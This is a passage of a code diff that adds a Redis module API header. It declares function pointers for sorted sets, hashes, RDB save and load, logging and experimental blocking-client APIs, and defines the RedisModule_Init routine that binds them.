REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted); +void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex); +int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex); +int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max); +int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score); +int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...); +int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...); +int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx); +void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos); +unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx); +void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes); +RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods); +int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value); +RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key); +void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key); +void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value); +uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io); +void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value); +int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io); +void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...); +void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s); +void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io); +char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr); +void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value); +double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io); +void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value); +float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io); +void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...); +void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...); +int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len); +void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str); +int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b); +RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io); +long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void); +void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len); +void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele); +void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md); + +/* Experimental APIs */ +#ifdef REDISMODULE_EXPERIMENTAL_API +RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(void*), long long timeout_ms); +int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata); +int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx); +void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc); +RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc); +void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx); +void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx); +void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb); + +#endif + +/* This is included inline inside each Redis module. */ +static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused)); +static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) { + void *getapifuncptr = ((void**)ctx)[0]; + RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr; + REDISMODULE_GET_API(Alloc); + REDISMODULE_GET_API(Calloc); + REDISMODULE_GET_API(Free); + REDISMODULE_GET_API(Realloc); + REDISMODULE_GET_API(Strdup); + REDISMODULE_GET_API(CreateCommand); + REDISMODULE_GET_API(SetModuleAttribs); + REDISMODULE_GET_API(IsModuleNameBusy); + REDISMODULE_GET_API(WrongArity); + REDISMODULE_GET_API(ReplyWithLongLong); + REDISMODULE_GET_API(ReplyWithError); + REDISMODULE_GET_API(ReplyWithSimpleString); + REDISMODULE_GET_API(ReplyWithArray); + REDISMODULE_GET_API(ReplySetArrayLength); + REDISMODULE_GET_API(ReplyWithStringBuffer); + REDISMODULE_GET_API(ReplyWithString); + REDISMODULE_GET_API(ReplyWithNull); + REDISMODULE_GET_API(ReplyWithCallReply); + REDISMODULE_GET_API(ReplyWithDouble); + REDISMODULE_GET_API(ReplySetArrayLength); + REDISMODULE_GET_API(GetSelectedDb); + REDISMODULE_GET_API(SelectDb); + REDISMODULE_GET_API(OpenKey); + REDISMODULE_GET_API(CloseKey); + REDISMODULE_GET_API(KeyType); + REDISMODULE_GET_API(ValueLength); + REDISMODULE_GET_API(ListPush); + REDISMODULE_GET_API(ListPop); + REDISMODULE_GET_API(StringToLongLong); + REDISMODULE_GET_API(StringToDouble); + REDISMODULE_GET_API(Call); + REDISMODULE_GET_API(CallReplyProto); + REDISMODULE_GET_API(FreeCallReply); + REDISMODULE_GET_API(CallReplyInteger); + REDISMODULE_GET_API(CallReplyType); + REDISMODULE_GET_API(CallReplyLength); + REDISMODULE_GET_API(CallReplyArrayElement); + REDISMODULE_GET_API(CallReplyStringPtr); + REDISMODULE_GET_API(CreateStringFromCallReply); + REDISMODULE_GET_API(CreateString); + REDISMODULE_GET_API(CreateStringFromLongLong); + REDISMODULE_GET_API(CreateStringFromString); + REDISMODULE_GET_API(CreateStringPrintf); + REDISMODULE_GET_API(FreeString); + REDISMODULE_GET_API(StringPtrLen); + REDISMODULE_GET_API(AutoMemory); + REDISMODULE_GET_API(Replicate); + REDISMODULE_GET_API(ReplicateVerbatim); + REDISMODULE_GET_API(DeleteKey); + REDISMODULE_GET_API(UnlinkKey); + REDISMODULE_GET_API(StringSet); + REDISMODULE_GET_API(StringDMA); + REDISMODULE_GET_API(StringTruncate); + REDISMODULE_GET_API(GetExpire); + REDISMODULE_GET_API(SetExpire); + REDISMODULE_GET_API(ZsetAdd); + REDISMODULE_GET_API(ZsetIncrby); + REDISMODULE_GET_API(ZsetScore); + REDISMODULE_GET_API(ZsetRem); + REDISMODULE_GET_API(ZsetRangeStop); + REDISMODULE_GET_API(ZsetFirstInScoreRange); + REDISMODULE_GET_API(ZsetLastInScoreRange); + REDISMODULE_GET_API(ZsetFirstInLexRange); + REDISMODULE_GET_API(ZsetLastInLexRange); + REDISMODULE_GET_API(ZsetRangeCurrentElement); + REDISMODULE_GET_API(ZsetRangeNext); + REDISMODULE_GET_API(ZsetRangePrev); + REDISMODULE_GET_API(ZsetRangeEndReached); + REDISMODULE_GET_API(HashSet); + REDISMODULE_GET_API(HashGet); + REDISMODULE_GET_API(IsKeysPositionRequest); + REDISMODULE_GET_API(KeyAtPos); + REDISMODULE_GET_API(GetClientId); + REDISMODULE_GET_API(GetContextFlags); + REDISMODULE_GET_API(PoolAlloc); + REDISMODULE_GET_API(CreateDataType); + REDISMODULE_GET_API(ModuleTypeSetValue); + REDISMODULE_GET_API(ModuleTypeGetType); + REDISMODULE_GET_API(ModuleTypeGetValue); + REDISMODULE_GET_API(SaveUnsigned); + REDISMODULE_GET_API(LoadUnsigned); + REDISMODULE_GET_API(SaveSigned); + REDISMODULE_GET_API(LoadSigned); + REDISMODULE_GET_API(SaveString); + REDISMODULE_GET_API(SaveStringBuffer); + REDISMODULE_GET_API(LoadString); + REDISMODULE_GET_API(LoadStringBuffer); + REDISMODULE_GET_API(SaveDouble); + REDISMODULE_GET_API(LoadDouble); + REDISMODULE_GET_API(SaveFloat); + REDISMODULE_GET_API(LoadFloat); + REDISMODULE_GET_API(EmitAOF); + REDISMODULE_GET_API(Log); + REDISMODULE_GET_API(LogIOError); + REDISMODULE_GET_API(StringAppendBuffer); + REDISMODULE_GET_API(RetainString); + REDISMODULE_GET_API(StringCompare); + REDISMODULE_GET_API(GetContextFromIO); + REDISMODULE_GET_API(Milliseconds); + REDISMODULE_GET_API(DigestAddStringBuffer); + REDISMODULE_GET_API(DigestAddLongLong); + REDISMODULE_GET_API(DigestEndSequence); + +#ifdef REDISMODULE_EXPERIMENTAL_API + REDISMODULE_GET_API(GetThreadSafeContext); + REDISMODULE_GET_API(FreeThreadSafeContext); + REDISMODULE_GET_API(ThreadSafeContextLock); + REDISMODULE_GET_API(ThreadSafeContextUnlock); + REDISMODULE_GET_API(BlockClient); + REDISMODULE_GET_API(UnblockClient); + REDISMODULE_GET_API(IsBlockedReplyRequest); + REDISMODULE_GET_API(IsBlockedTimeoutRequest); + REDISMODULE_GET_API(GetBlockedClientPrivateData); + REDISMODULE_GET_API(AbortBlock); + REDISMODULE_GET_API(SubscribeToKeyspaceEvents); + +#endif + + if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR; + RedisModule_SetModuleAttribs(ctx,name,ver,apiver); + return REDISMODULE_OK; +} + +#else + +/* Things only defined for the modules core, not exported to modules + * including this file. */ +#define RedisModuleString robj + +#endif /* REDISMODULE_CORE */ +#endif /* REDISMOUDLE_H */